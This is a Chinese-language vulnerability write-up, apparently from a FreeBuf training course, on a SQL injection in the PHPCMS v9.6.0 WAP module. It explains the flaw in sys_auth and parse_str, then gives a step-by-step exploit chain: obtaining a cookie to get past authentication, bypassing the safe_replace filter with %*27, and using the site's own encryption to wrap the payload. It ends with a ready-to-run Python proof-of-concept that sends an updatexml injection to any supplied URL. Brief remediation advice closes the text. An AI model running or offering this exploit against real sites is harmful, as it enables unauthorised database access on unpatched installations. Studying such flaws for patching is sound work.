PHPCMS v9.6.0 wap模块SQL注入 | FreeBuf × 破壳学院训练营
字数 1529 2025-08-18 11:38:32
PHPCMS v9.6.0 WAP模块SQL注入漏洞分析与利用
漏洞概述
PHPCMS v9.6.0的WAP模块存在SQL注入漏洞,该漏洞源于sys_auth函数在解密参数后未进行适当校验,导致攻击者可以构造恶意请求实现SQL注入攻击。
漏洞原理分析
漏洞触发点
漏洞最终触发点在phpcms/modules/content/down.php的init函数中:
- 通过GET传参
a_k参数 - 调用
sys_auth方法进行解密(使用DECODE模式和auth_key) - 使用
parse_str对解密后的$a_k变量进行处理 - 直接将处理后的
$id参数带入SQL查询,没有进行过滤
关键函数分析
-
sys_auth函数:
- 用于加密/解密数据
- 解密时使用系统配置的
auth_key(位于caches\configs\system.php) - 每个站点的
auth_key可能不同
-
parse_str函数:
- 将查询字符串解析到变量中并同时解码
- 示例:
parse_str("name=John%20Doe&age=25")会创建变量$name="John Doe"和$age="25"
漏洞利用链
- 构造恶意payload:
id=SQL注入语句&其他参数=其他值 - 需要将payload加密后作为
a_k参数传递 - 由于
auth_key站点不同,无法本地生成加密payload
漏洞利用过程
获取加密payload的方法
- 查找使用
sys_auth进行ENCODE操作的位置 - 在
phpcms\libs\classes\param.class.php的set_cookie方法中:- 调用
sys_auth进行ENCODE操作 - 使用系统默认的
auth_key - 结果存储在cookie中,可直接获取
- 调用
绕过过滤机制
swfupload_json方法中调用safe_replace过滤输入safe_replace函数(位于phpcms/libs/functions/global.func.php):- 替换删除
%27、%2527等 - 随后替换删除
*,且只进行一次替换 - 使用
%*27可以绕过过滤(%*27→%27)
- 替换删除
绕过身份验证
swfupload_json方法需要$this->userid不为空- 通过POST传入
userid_flash参数(需能被sys_auth解密) - 从WAP模块首页获取有效的
userid_flash值:- 访问
index.php?m=wap&a=index&siteid=1 - 获取cookie中的
_siteid值作为userid_flash
- 访问
完整利用步骤
-
Step1:获取有效的
userid_flashGET /index.php?m=wap&a=index&siteid=1从返回的cookie中获取
_siteid值 -
Step2:获取加密的payload
POST /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26设置
userid_flash为上一步获取的值
从返回的cookie中获取加密后的payload -
Step3:执行SQL注入
GET /index.php?m=content&c=down&a_k=<加密后的payload>使用上一步获取的加密payload作为
a_k参数
PoC代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
import sys
import requests
from urllib import quote
TIMEOUT = 3
def poc(url):
payload = "&id=%*27 and updat*exml(1,con*cat(1,(us*er())),1)%23&modelid=1&catid=1&m=1&f="
cookies = {}
# Step1: 获取userid_flash
step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)
for c in requests.get(step1, timeout=TIMEOUT).cookies:
if c.name[-7:] == '_siteid':
cookie_head = c.name[:6]
cookies[cookie_head + '_userid'] = c.value
cookies[c.name] = c.value
print c.value
break
else:
return False
# Step2: 获取加密payload
step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))
for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:
if c.name[-9:] == '_att_json':
enc_payload = c.value
print enc_payload
break
else:
return False
# Step3: 执行SQL注入
setp3 = url + '/index.php?m=content&c=down&a_k=' + enc_payload
r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT)
print r.content
print poc(sys.argv[1])
修复建议
- 对解密后的参数进行严格的过滤和校验
- 使用参数化查询或预处理语句代替直接拼接SQL
- 更新到最新版本的PHPCMS
扩展阅读
- parse_str函数说明: http://www.w3school.com.cn/php/func_string_parse_str.asp
- __construct()说明: http://www.php.net/manual/zh/language.oop5.decon.php